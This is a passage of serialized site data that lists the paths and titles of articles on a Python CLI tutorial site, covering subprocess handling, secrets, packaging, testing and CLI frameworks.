Tasks",{"path":2242,"title":2243},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis\u002Fparallelising-cli-work-with-thread-pools","Parallelising CLI Work with Thread Pools",{"path":2245,"title":2246},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis\u002Frate-limiting-concurrent-requests-in-clis","Rate-Limiting Concurrent Requests in Python CLIs",{"path":2248,"title":2249},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis\u002Frunning-async-code-in-typer-and-click","Running Async Code in Typer and Click",{"path":2251,"title":2252},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis\u002Fshowing-progress-for-concurrent-tasks","Showing Progress for Concurrent Tasks in a Python CLI",{"path":2254,"title":2255},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis\u002Fstructured-concurrency-with-taskgroups-in-clis","Structured Concurrency with TaskGroups in Python CLIs",{"path":2257,"title":2258},"\u002Fcli-runtime-systems-integration\u002Ffilesystem-paths-and-atomic-writes\u002Fcross-platform-paths-with-pathlib","Cross-Platform Paths with pathlib in CLIs",{"path":2260,"title":2261},"\u002Fcli-runtime-systems-integration\u002Ffilesystem-paths-and-atomic-writes\u002Ffile-locking-for-concurrent-cli-runs","File Locking for Concurrent CLI Runs in Python",{"path":2263,"title":2264},"\u002Fcli-runtime-systems-integration\u002Ffilesystem-paths-and-atomic-writes\u002Fhandling-file-permissions-and-umask-in-clis","Handling File Permissions and umask in Python CLIs",{"path":2266,"title":2267},"\u002Fcli-runtime-systems-integration\u002Ffilesystem-paths-and-atomic-writes","Filesystem Paths and Atomic Writes for CLIs",{"path":2269,"title":2270},"\u002Fcli-runtime-systems-integration\u002Ffilesystem-paths-and-atomic-writes\u002Fsafe-temporary-files-and-directories","Safe Temporary Files and Directories in CLIs",{"path":2272,"title":2273},"\u002Fcli-runtime-systems-integration\u002Ffilesystem-paths-and-atomic-writes\u002Fstoring-app-data-with-platformdirs","Storing CLI App Data with platformdirs",{"path":2275,"title":2276},"\u002Fcli-runtime-systems-integration\u002Ffilesystem-paths-and-atomic-writes\u002Fwalking-directory-trees-with-ignore-rules","Walking Directory Trees with Ignore Rules in a Python CLI",{"path":2278,"title":2279},"\u002Fcli-runtime-systems-integration\u002Ffilesystem-paths-and-atomic-writes\u002Fwriting-files-atomically-in-python-clis","Writing Files Atomically in Python CLIs",{"path":2281,"title":2282},"\u002Fcli-runtime-systems-integration","CLI Runtime & Systems Integration for Python",{"path":2284,"title":2285},"\u002Fcli-runtime-systems-integration\u002Flocal-state-and-sqlite-in-python-clis\u002Fcaching-http-responses-on-disk-in-a-cli","Caching HTTP Responses on Disk in a Python CLI",{"path":2287,"title":2288},"\u002Fcli-runtime-systems-integration\u002Flocal-state-and-sqlite-in-python-clis","Local State and SQLite in Python CLIs",{"path":2290,"title":2291},"\u002Fcli-runtime-systems-integration\u002Flocal-state-and-sqlite-in-python-clis\u002Fmigrating-a-cli-sqlite-schema","Migrating a CLI’s SQLite Schema Between Releases",{"path":2293,"title":2294},"\u002Fcli-runtime-systems-integration\u002Flocal-state-and-sqlite-in-python-clis\u002Frecording-and-querying-cli-run-history","Recording and Querying CLI Run History in SQLite",{"path":2296,"title":2297},"\u002Fcli-runtime-systems-integration\u002Flocal-state-and-sqlite-in-python-clis\u002Fstoring-cli-state-in-sqlite","Storing CLI State in SQLite with a Small Repository Class",{"path":2299,"title":2300},"\u002Fcli-runtime-systems-integration\u002Flong-running-and-watch-mode-clis\u002Fbuilding-a-watch-mode-with-watchfiles","Building a Watch Mode with watchfiles in Python",{"path":2302,"title":2303},"\u002Fcli-runtime-systems-integration\u002Flong-running-and-watch-mode-clis\u002Fhandling-sigterm-and-graceful-shutdown","Handling SIGTERM and Graceful Shutdown in CLIs",{"path":2305,"title":2306},"\u002Fcli-runtime-systems-integration\u002Flong-running-and-watch-mode-clis\u002Fhealth-checks-and-heartbeats-for-long-running-clis","Health Checks and Heartbeats for Long-Running CLIs",{"path":2308,"title":2309},"\u002Fcli-runtime-systems-integration\u002Flong-running-and-watch-mode-clis","Long-Running and Watch-Mode Python CLIs",{"path":2311,"title":2312},"\u002Fcli-runtime-systems-integration\u002Flong-running-and-watch-mode-clis\u002Freloading-config-on-sighup","Reloading Configuration on SIGHUP in a Python CLI",{"path":2314,"title":2315},"\u002Fcli-runtime-systems-integration\u002Flong-running-and-watch-mode-clis\u002Frunning-a-cli-as-a-systemd-service","Running a Python CLI as a systemd Service",{"path":2317,"title":2318},"\u002Fcli-runtime-systems-integration\u002Flong-running-and-watch-mode-clis\u002Frunning-a-cli-on-a-schedule-with-cron-and-systemd","Running a Python CLI on a Schedule with cron and systemd",{"path":2320,"title":2321},"\u002Fcli-runtime-systems-integration\u002Flong-running-and-watch-mode-clis\u002Fsending-cli-logs-to-journald-and-syslog","Sending Python CLI Logs to journald and syslog",{"path":2323,"title":2324},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Favoiding-shell-injection-in-python-clis","Avoiding Shell Injection in Python CLIs",{"path":2326,"title":2327},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Fcalling-external-commands-safely-with-subprocess","Calling External Commands Safely with subprocess",{"path":2329,"title":2330},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Fhandling-subprocess-timeouts-and-exit-codes","Handling Subprocess Timeouts and Exit Codes",{"path":2332,"title":2333},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis","Running Subprocesses from Python CLIs",{"path":2335,"title":2336},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Flaunching-the-users-editor-from-a-cli","Launching the User’s Editor from a Python CLI",{"path":2338,"title":2339},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Fpiping-between-subprocesses-in-python","Piping Between Subprocesses in Python Without a Shell",{"path":2341,"title":2342},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Fstreaming-subprocess-output-in-real-time","Streaming Subprocess Output in Real Time",{"path":2344,"title":2345},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Fwrapping-git-and-other-tools-from-a-python-cli","Wrapping git and Other Tools from a Python CLI",{"path":2347,"title":2348},"\u002Fcli-runtime-systems-integration\u002Fsecrets-and-credentials-in-python-clis","Secrets and Credentials in Python CLIs",{"path":2350,"title":2351},"\u002Fcli-runtime-systems-integration\u002Fsecrets-and-credentials-in-python-clis\u002Fprompting-for-passwords-securely","Prompting for Passwords Securely in Python CLIs",{"path":2353,"title":2354},"\u002Fcli-runtime-systems-integration\u002Fsecrets-and-credentials-in-python-clis\u002Freading-secrets-from-env-and-files","Reading Secrets from Env Vars and Files in CLIs",{"path":2356,"title":2357},"\u002Fcli-runtime-systems-integration\u002Fsecrets-and-credentials-in-python-clis\u002Fredacting-secrets-from-cli-output-and-logs","Redacting Secrets from CLI Output and Logs",{"path":2359,"title":2360},"\u002Fcli-runtime-systems-integration\u002Fsecrets-and-credentials-in-python-clis\u002Frefreshing-expired-tokens-automatically","Refreshing Expired Tokens Automatically in a Python CLI",{"path":2362,"title":2363},"\u002Fcli-runtime-systems-integration\u002Fsecrets-and-credentials-in-python-clis\u002Fstoring-tokens-with-keyring","Storing CLI Tokens Securely with keyring",{"path":2365,"title":2366},"\u002Fcli-runtime-systems-integration\u002Fsecrets-and-credentials-in-python-clis\u002Fsupporting-multiple-profiles-and-accounts","Supporting Multiple Profiles and Accounts in CLIs",{"path":2368,"title":2369},"\u002Fcli-runtime-systems-integration\u002Fupdate-checks-and-self-updating-clis\u002Fchecking-pypi-for-a-newer-version","Checking PyPI for a Newer Version of Your Python CLI",{"path":2371,"title":2372},"\u002Fcli-runtime-systems-integration\u002Fupdate-checks-and-self-updating-clis","Update Checks, Upgrade Commands and Telemetry for Python CLIs",{"path":2374,"title":2375},"\u002Fcli-runtime-systems-integration\u002Fupdate-checks-and-self-updating-clis\u002Fopt-in-usage-telemetry-for-python-clis","Opt-In Usage Telemetry for Python CLIs Done Responsibly",{"path":2377,"title":2378},"\u002Fcli-runtime-systems-integration\u002Fupdate-checks-and-self-updating-clis\u002Fself-upgrading-a-cli-installed-with-pipx-or-uv","Self-Upgrading a Python CLI Installed with pipx or uv",{"path":2380,"title":2381},"\u002Fcli-runtime-systems-integration\u002Fupdate-checks-and-self-updating-clis\u002Fshowing-non-blocking-update-notices","Showing Non-Blocking Update Notices in a Python CLI",{"path":664,"title":2383},"Python CLI Toolcraft",{"path":2385,"title":2386},"\u002Fmodern-python-cli-frameworks-architecture\u002Falternative-python-cli-frameworks\u002Fbuilding-a-cli-with-cleo","Building a Python CLI with Cleo Command Classes",{"path":2388,"title":2389},"\u002Fmodern-python-cli-frameworks-architecture\u002Falternative-python-cli-frameworks\u002Fbuilding-a-cli-with-cyclopts","Building a Type-Hinted Python CLI with Cyclopts",{"path":2391,"title":2392},"\u002Fmodern-python-cli-frameworks-architecture\u002Falternative-python-cli-frameworks","Beyond Click and Typer: Alternative Python CLI Frameworks",{"path":2394,"title":2395},"\u002Fmodern-python-cli-frameworks-architecture\u002Falternative-python-cli-frameworks\u002Fquick-clis-from-functions-with-python-fire","Quick CLIs from Functions with Python Fire",{"path":2397,"title":2398},"\u002Fmodern-python-cli-frameworks-architecture\u002Falternative-python-cli-frameworks\u002Fusage-string-driven-clis-with-docopt-ng","Usage-String Driven Python CLIs with docopt-ng",{"path":2400,"title":2401},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcli-startup-performance-and-lazy-loading\u002Favoiding-import-time-side-effects","Avoiding Import-Time Side Effects in a Python CLI",{"path":2403,"title":2404},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcli-startup-performance-and-lazy-loading\u002Fcaching-expensive-work-between-cli-runs","Caching Expensive Work Between Python CLI Runs",{"path":2406,"title":2407},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcli-startup-performance-and-lazy-loading\u002Fguarding-startup-with-import-tests","Guarding CLI Startup with Import Tests",{"path":2409,"title":2410},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcli-startup-performance-and-lazy-loading","CLI Startup Performance and Lazy Loading",{"path":2412,"title":2413},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcli-startup-performance-and-lazy-loading\u002Flazy-loading-subcommands-for-faster-startup","Lazy Loading Subcommands for Faster Startup",{"path":2415,"title":2416},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcli-startup-performance-and-lazy-loading\u002Fprofiling-python-cli-startup-time","Profiling Python CLI Startup Time",{"path":2418,"title":2419},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcli-startup-performance-and-lazy-loading\u002Freducing-cli-dependency-weight","Reducing CLI Dependency Weight",{"path":2421,"title":2422},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcommand-line-parsing-with-argparse\u002Fargparse-subparsers-for-subcommands","argparse Subparsers for Subcommands",{"path":2424,"title":2425},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcommand-line-parsing-with-argparse\u002Fargparse-vs-click-vs-typer-comparison","argparse vs Click vs Typer Compared",{"path":2427,"title":2428},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcommand-line-parsing-with-argparse\u002Fargument-groups-and-help-formatting-in-argparse","Argument Groups and Help Formatting in argparse",{"path":2430,"title":2431},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcommand-line-parsing-with-argparse","Command-Line Parsing with argparse",{"path":2433,"title":2434},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcommand-line-parsing-with-argparse\u002Fmigrating-from-argparse-to-typer","Migrating from argparse to Typer",{"path":2436,"title":2437},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcommand-line-parsing-with-argparse\u002Fmutually-exclusive-options-in-argparse","Mutually Exclusive Options in argparse",{"path":2439,"title":2440},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcommand-line-parsing-with-argparse\u002Freading-arguments-from-files-with-fromfile-prefix-chars","Reading Arguments from Files with argparse’s fromfile_prefix_chars",{"path":2442,"title":2443},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcommand-line-parsing-with-argparse\u002Fwriting-custom-argparse-actions","Writing Custom argparse Actions in Python",{"path":2445,"title":2446},"\u002Fmodern-python-cli-frameworks-architecture\u002Fdesigning-cli-interfaces-and-conventions\u002Fadding-dry-run-and-confirmation-to-destructive-commands","Adding Dry-Run and Confirmation to Destructive Commands",{"path":2448,"title":2449},"\u002Fmodern-python-cli-frameworks-architecture\u002Fdesigning-cli-interfaces-and-conventions\u002Fdesigning-idempotent-commands","Designing Idempotent Commands in a Python CLI",{"path":2451,"title":2452},"\u002Fmodern-python-cli-frameworks-architecture\u002Fdesigning-cli-interfaces-and-conventions\u002Ffollowing-posix-and-gnu-argument-conventions","Following POSIX and GNU Argument Conventions in Python",{"path":2454,"title":2455},"\u002Fmodern-python-cli-frameworks-architecture\u002Fdesigning-cli-interfaces-and-conventions\u002Fglobal-options-vs-per-command-options","Global Options vs Per-Command Options in Python CLIs",{"path":2457,"title":2458},"\u002Fmodern-python-cli-frameworks-architecture\u002Fdesigning-cli-interfaces-and-conventions","Designing CLI Interfaces and Conventions in Python",{"path":2460,"title":2461},"\u002Fmodern-python-cli-frameworks-architecture\u002Fdesigning-cli-interfaces-and-conventions\u002Fnaming-commands-and-flags-consistently","Naming Commands and Flags Consistently in Python CLIs",{"path":2463,"title":2464},"\u002Fmodern-python-cli-frameworks-architecture\u002Fdesigning-cli-interfaces-and-conventions\u002Fpositional-arguments-vs-options","Positional Arguments vs Options: Designing a CLI Signature",{"path":2466,"title":2467},"\u002Fmodern-python-cli-frameworks-architecture","Python CLI Frameworks and Architecture",{"path":2469,"title":2470},"\u002Fmodern-python-cli-frameworks-architecture\u002Fplugin-architectures-for-extensible-clis\u002Fdiscovering-plugins-with-entry-points","Discovering Plugins with Entry Points in Python CLIs",{"path":2472,"title":2473},"\u002Fmodern-python-cli-frameworks-architecture\u002Fplugin-architectures-for-extensible-clis\u002Fhook-based-plugins-with-pluggy","Hook-Based Plugins for Python CLIs with pluggy",{"path":2475,"title":2476},"\u002Fmodern-python-cli-frameworks-architecture\u002Fplugin-architectures-for-extensible-clis","Plugin Architectures for Extensible CLIs",{"path":2478,"title":2479},"\u002Fmodern-python-cli-frameworks-architecture\u002Fplugin-architectures-for-extensible-clis\u002Fisolating-plugin-failures","Isolating Plugin Failures in an Extensible Python CLI",{"path":2481,"title":2482},"\u002Fmodern-python-cli-frameworks-architecture\u002Fplugin-architectures-for-extensible-clis\u002Ftesting-plugins-against-the-host-cli","Testing Plugins Against the Host CLI",{"path":2484,"title":2485},"\u002Fmodern-python-cli-frameworks-architecture\u002Fplugin-architectures-for-extensible-clis\u002Fversioning-a-plugin-api","Versioning a Plugin API for a Python CLI",{"path":2487,"title":2488},"\u002Fmodern-python-cli-frameworks-architecture\u002Fplugin-architectures-for-extensible-clis\u002Fwriting-a-plugin-for-an-existing-cli","Writing a Plugin for an Existing CLI",{"path":2490,"title":2491},"\u002Fmodern-python-cli-frameworks-architecture\u002Fstructuring-multi-command-python-clis\u002Fbest-practices-for-python-cli-entry-points","Best practices for Python CLI entry points",{"path":2493,"title":2494},"\u002Fmodern-python-cli-frameworks-architecture\u002Fstructuring-multi-command-python-clis\u002Fdependency-injection-patterns-for-cli-commands","Dependency Injection Patterns for CLI Commands",{"path":2496,"title":2497},"\u002Fmodern-python-cli-frameworks-architecture\u002Fstructuring-multi-command-python-clis\u002Fhow-to-structure-a-large-python-cli-project","Structuring a Large Python CLI Project",{"path":2499,"title":2500},"\u002Fmodern-python-cli-frameworks-architecture\u002Fstructuring-multi-command-python-clis","Structuring Multi-Command Python CLIs",{"path":2502,"title":2503},"\u002Fmodern-python-cli-frameworks-architecture\u002Fstructuring-multi-command-python-clis\u002Foffering-a-python-api-alongside-your-cli","Offering a Python API Alongside Your CLI",{"path":2505,"title":2506},"\u002Fmodern-python-cli-frameworks-architecture\u002Fstructuring-multi-command-python-clis\u002Fregistering-commands-from-modules-automatically","Registering CLI Commands from Modules Automatically",{"path":2508,"title":2509},"\u002Fmodern-python-cli-frameworks-architecture\u002Fstructuring-multi-command-python-clis\u002Fsharing-common-options-across-commands","Sharing Common Options Across Python CLI Commands",{"path":2511,"title":2512},"\u002Fmodern-python-cli-frameworks-architecture\u002Fstructuring-multi-command-python-clis\u002Fsharing-state-with-click-context-objects","Sharing State with Click Context Objects",{"path":2514,"title":2515},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Fend-to-end-testing-an-installed-cli","End-to-End Testing an Installed Python CLI",{"path":2517,"title":2518},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications","Testing Python CLI Applications",{"path":2520,"title":2521},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Fmeasuring-cli-test-coverage","Measuring CLI Test Coverage",{"path":2523,"title":2524},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Fmocking-filesystem-and-network-in-cli-tests","Mocking the Filesystem and Network in CLI Tests",{"path":2526,"title":2527},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Fproperty-based-testing-cli-arguments-with-hypothesis","Property-Based Testing CLI Arguments with Hypothesis",{"path":2529,"title":2530},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Fsnapshot-testing-cli-output","Snapshot Testing CLI Output",{"path":2532,"title":2533},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Ftesting-click-commands-with-clirunner","Testing Click Commands with CliRunner",{"path":2535,"title":2536},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Ftesting-commands-that-call-subprocesses","Testing Python CLI Commands That Call Subprocesses",{"path":2538,"title":2539},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Ftesting-interactive-prompts-and-stdin","Testing Interactive Prompts and stdin",{"path":2541,"title":2542},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Ftranscript-tests-for-cli-commands","Transcript Tests for Python CLI Commands",{"path":2544,"title":2545},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftyper-vs-click-when-to-use-each\u002Fbuilding-a-cli-with-subcommands-in-click","Building a CLI with subcommands in Click",{"path":2547,"title":2548},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftyper-vs-click-when-to-use-each\u002Fbuilding-dynamic-commands-in-click","Building Dynamic Commands in Click",{"path":2550,"title":2551},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftyper-vs-click-when-to-use-each\u002Fchoices-and-enums-in-typer-and-click","Choices and Enums in Typer and Click Options",{"path":2553,"title":2554},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftyper-vs-click-when-to-use-each\u002Fclick-option-callbacks-and-eager-options","Click Option Callbacks and Eager Options Explained",{"path":2556,"title":2557},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftyper-vs-click-when-to-use-each\u002Fconverting-a-click-app-to-typer","Converting a Click App to Typer",{"path":2559,"title":2560},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftyper-vs-click-when-to-use-each","Typer vs Click: When to Use Each",{"path":2562,"title":2563},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftyper-vs-click-when-to-use-each\u002Frich-markup-and-help-panels-in-typer","Rich Markup and Help Panels in Typer",{"path":2565,"title":2566},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftyper-vs-click-when-to-use-each\u002Ftyper-callback-functions-explained","Typer callback functions explained",{"path":2568,"title":2569},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftyper-vs-click-when-to-use-each\u002Fusing-annotated-options-in-typer","Using Annotated Options in Typer",{"path":2571,"title":2572},"\u002Fproject-setup-dependency-management\u002Fci-cd-pipelines-for-python-clis\u002Fautomating-releases-from-git-tags","Automating Python CLI Releases from Git Tags",{"path":2574,"title":2575},"\u002Fproject-setup-dependency-management\u002Fci-cd-pipelines-for-python-clis\u002Fcaching-uv-dependencies-in-ci","Caching uv Dependencies in CI for Python CLIs",{"path":2577,"title":2578},"\u002Fproject-setup-dependency-management\u002Fci-cd-pipelines-for-python-clis","CI\u002FCD Pipelines for Python CLIs",{"path":2580,"title":2581},"\u002Fproject-setup-dependency-management\u002Fci-cd-pipelines-for-python-clis\u002Fpublishing-a-cli-docker-image-from-ci","Publishing a Python CLI as a Docker Image from CI",{"path":2583,"title":2584},"\u002Fproject-setup-dependency-management\u002Fci-cd-pipelines-for-python-clis\u002Fpublishing-to-pypi-with-trusted-publishing","Publishing a CLI to PyPI with Trusted Publishing",{"path":2586,"title":2587},"\u002Fproject-setup-dependency-management\u002Fci-cd-pipelines-for-python-clis\u002Frunning-cli-tests-on-windows-and-macos-runners","Running Python CLI Tests on Windows and macOS Runners",{"path":2589,"title":2590},"\u002Fproject-setup-dependency-management\u002Fci-cd-pipelines-for-python-clis\u002Fsmoke-testing-the-built-wheel-in-ci","Smoke-Testing the Built Wheel of a Python CLI in CI",{"path":2592,"title":2593},"\u002Fproject-setup-dependency-management\u002Fci-cd-pipelines-for-python-clis\u002Ftesting-a-cli-across-python-versions-with-github-actions","Testing a CLI Across Python Versions in GitHub Actions",{"path":2595,"title":2596},"\u002Fproject-setup-dependency-management\u002Fcli-project-scaffolding-with-cookiecutter\u002Fbuilding-a-cookiecutter-template-for-typer-clis","Building a Cookiecutter Template for Typer CLIs",{"path":2598,"title":2599},"\u002Fproject-setup-dependency-management\u002Fcli-project-scaffolding-with-cookiecutter\u002Fcopier-vs-cookiecutter-for-cli-templates","Copier vs Cookiecutter for CLI Templates",{"path":2601,"title":2602},"\u002Fproject-setup-dependency-management\u002Fcli-project-scaffolding-with-cookiecutter","CLI Project Scaffolding with Cookiecutter",{"path":2604,"title":2605},"\u002Fproject-setup-dependency-management\u002Fcli-project-scaffolding-with-cookiecutter\u002Fpost-generation-hooks-in-cli-templates","Post-Generation Hooks in Python CLI Templates",{"path":2607,"title":2608},"\u002Fproject-setup-dependency-management\u002Fcli-project-scaffolding-with-cookiecutter\u002Ftemplate-variables-and-conditional-files","Template Variables and Conditional Files in CLI Templates",{"path":2610,"title":2611},"\u002Fproject-setup-dependency-management\u002Fcli-project-scaffolding-with-cookiecutter\u002Ftesting-a-project-template-with-pytest","Testing a CLI Project Template with pytest",{"path":2613,"title":2614},"\u002Fproject-setup-dependency-management\u002Fcli-project-scaffolding-with-cookiecutter\u002Fupdating-generated-projects-with-copier-update","Updating Generated CLI Projects with copier update",{"path":2616,"title":2617},"\u002Fproject-setup-dependency-management\u002Fdistributing-clis-as-standalone-binaries\u002Fbuilding-cross-platform-release-binaries-in-ci","Building Cross-Platform Release Binaries in CI",{"path":2619,"title":2620},"\u002Fproject-setup-dependency-management\u002Fdistributing-clis-as-standalone-binaries\u002Fbundling-a-python-cli-with-pyinstaller","Bundling a Python CLI with PyInstaller",{"path":2622,"title":2623},"\u002Fproject-setup-dependency-management\u002Fdistributing-clis-as-standalone-binaries\u002Fcode-signing-and-notarizing-cli-binaries","Code Signing and Notarizing Python CLI Binaries",{"path":2625,"title":2626},"\u002Fproject-setup-dependency-management\u002Fdistributing-clis-as-standalone-binaries\u002Fhomebrew-and-scoop-packaging-for-python-clis","Homebrew and Scoop Packaging for Python CLIs",{"path":2628,"title":2629},"\u002Fproject-setup-dependency-management\u002Fdistributing-clis-as-standalone-binaries","Distributing CLIs as Standalone Binaries",{"path":2631,"title":2632},"\u002Fproject-setup-dependency-management\u002Fdistributing-clis-as-standalone-binaries\u002Fnuitka-vs-pyinstaller-for-python-clis","Nuitka vs PyInstaller for Python CLI Binaries",{"path":2634,"title":2635},"\u002Fproject-setup-dependency-management\u002Fdistributing-clis-as-standalone-binaries\u002Freducing-pyinstaller-binary-size","Reducing the Size of a PyInstaller CLI Binary",{"path":2637,"title":2638},"\u002Fproject-setup-dependency-management\u002Fdistributing-clis-as-standalone-binaries\u002Fshipping-a-cli-as-a-zipapp-with-shiv","Shipping a CLI as a Zipapp with shiv",{"path":2640,"title":2641},"\u002Fproject-setup-dependency-management","Project Setup & Dependency Management",{"path":2643,"title":2644},"\u002Fproject-setup-dependency-management\u002Flinting-and-type-checking-cli-code\u002Fconfiguring-ruff-for-a-cli-project","Configuring Ruff for a Python CLI Project",{"path":2646,"title":2647},"\u002Fproject-setup-dependency-management\u002Flinting-and-type-checking-cli-code\u002Fenforcing-import-boundaries-in-a-cli-codebase","Enforcing Import Boundaries in a Python CLI Codebase",{"path":2649,"title":2650},"\u002Fproject-setup-dependency-management\u002Flinting-and-type-checking-cli-code\u002Ffinding-unused-code-and-dependencies-with-vulture-and-deptry","Finding Unused Code and Dependencies with vulture and deptry",{"path":2652,"title":2653},"\u002Fproject-setup-dependency-management\u002Flinting-and-type-checking-cli-code","Linting and Type-Checking Python CLI Code",{"path":2655,"title":2656},"\u002Fproject-setup-dependency-management\u002Flinting-and-type-checking-cli-code\u002Frunning-pyright-in-strict-mode-on-a-cli","Running Pyright in Strict Mode on a Python CLI",{"path":2658,"title":2659},"\u002Fproject-setup-dependency-management\u002Flinting-and-type-checking-cli-code\u002Frunning-ruff-and-mypy-in-ci-with-annotations","Running Ruff and mypy in CI with Inline Annotations",{"path":2661,"title":2662},"\u002Fproject-setup-dependency-management\u002Flinting-and-type-checking-cli-code\u002Ftype-checking-click-and-typer-code-with-mypy","Type-Checking Click and Typer Code with mypy",{"path":2664,"title":2665},"\u002Fproject-setup-dependency-management\u002Fmanaging-cli-versioning-changelogs\u002Fautomating-changelogs-with-conventional-commits","Automating Changelogs with Conventional Commits",{"path":2667,"title":2668},"\u002Fproject-setup-dependency-management\u002Fmanaging-cli-versioning-changelogs\u002Fbumping-versions-consistently-across-a-cli-project","Bumping Versions Consistently Across a Python CLI Project",{"path":2670,"title":2671},"\u002Fproject-setup-dependency-management\u002Fmanaging-cli-versioning-changelogs\u002Fderiving-versions-from-git-tags-with-hatch-vcs","Deriving CLI Versions from Git Tags with hatch-vcs",{"path":2673,"title":2674},"\u002Fproject-setup-dependency-management\u002Fmanaging-cli-versioning-changelogs\u002Fexposing-version-info-and-build-metadata","Exposing Version Info and Build Metadata",{"path":2676,"title":2677},"\u002Fproject-setup-dependency-management\u002Fmanaging-cli-versioning-changelogs","Managing CLI Versioning & Changelogs",{"path":2679,"title":2680},"\u002Fproject-setup-dependency-management\u002Fmanaging-cli-versioning-changelogs\u002Fsemantic-versioning-policy-for-cli-tools","A Semantic Versioning Policy for CLI Tools",{"path":2682,"title":2683},"\u002Fproject-setup-dependency-management\u002Fmanaging-cli-versioning-changelogs\u002Fshipping-pre-releases-and-release-candidates","Shipping Pre-Releases and Release Candidates of a Python CLI",{"path":2685,"title":2686},"\u002Fproject-setup-dependency-management\u002Fpackaging-python-clis-for-distribution\u002Fbuilding-wheels-and-sdists-for-python-clis","Building Wheels and sdists for Python CLIs",{"path":2688,"title":2689},"\u002Fproject-setup-dependency-management\u002Fpackaging-python-clis-for-distribution\u002Fbundling-data-files-with-importlib-resources","Bundling Data Files with importlib.resources in CLIs",{"path":2691,"title":2692},"\u002Fproject-setup-dependency-management\u002Fpackaging-python-clis-for-distribution\u002Fchoosing-a-build-backend-for-a-python-cli","Choosing a Build Backend for a Python CLI",{"path":2694,"title":2695},"\u002Fproject-setup-dependency-management\u002Fpackaging-python-clis-for-distribution","Packaging Python CLIs for Distribution",{"path":2697,"title":2698},"\u002Fproject-setup-dependency-management\u002Fpackaging-python-clis-for-distribution\u002Finstalling-and-distributing-clis-with-pipx","Installing and Distributing CLIs with pipx",{"path":2700,"title":2701},"\u002Fproject-setup-dependency-management\u002Fpackaging-python-clis-for-distribution\u002Foptional-dependencies-and-extras-for-clis","Optional Dependencies and Extras for Python CLIs",{"path":2703,"title":2704},"\u002Fproject-setup-dependency-management\u002Fpackaging-python-clis-for-distribution\u002Fpublishing-a-python-cli-to-pypi","Publishing a Python CLI to PyPI",{"path":2706,"title":2707},"\u002Fproject-setup-dependency-management\u002Fpackaging-python-clis-for-distribution\u002Fwriting-pyproject-toml-metadata-for-a-cli","Writing pyproject.toml Metadata for a Python CLI",{"path":2709,"title":2710},"\u002Fproject-setup-dependency-management\u002Fpoetry-workflows-for-cli-development\u002Fdynamic-versioning-with-poetry-plugins","Dynamic Versioning for a Poetry CLI from Git Tags",{"path":2712,"title":2713},"\u002Fproject-setup-dependency-management\u002Fpoetry-workflows-for-cli-development","Poetry Workflows for CLI Development",{"path":2715,"title":2716},"\u002Fproject-setup-dependency-management\u002Fpoetry-workflows-for-cli-development\u002Fmanaging-poetry-lock-files-for-cli-tools","Managing Poetry Lock Files for CLI Tools",{"path":2718,"title":2719},"\u002Fproject-setup-dependency-management\u002Fpoetry-workflows-for-cli-development\u002Fmigrating-a-cli-from-poetry-to-uv","Migrating a Python CLI from Poetry to uv",{"path":2721,"title":2722},"\u002Fproject-setup-dependency-management\u002Fpoetry-workflows-for-cli-development\u002Fpoetry-dependency-groups-for-cli-tooling","Poetry Dependency Groups for CLI Tooling",{"path":2724,"title":2725},"\u002Fproject-setup-dependency-management\u002Fpoetry-workflows-for-cli-development\u002Fpoetry-entry-points-and-scripts-for-clis","Poetry Entry Points and Scripts for CLIs",{"path":2727,"title":2728},"\u002Fproject-setup-dependency-management\u002Fpoetry-workflows-for-cli-development\u002Fpublishing-a-cli-with-poetry","Building and Publishing a Python CLI with 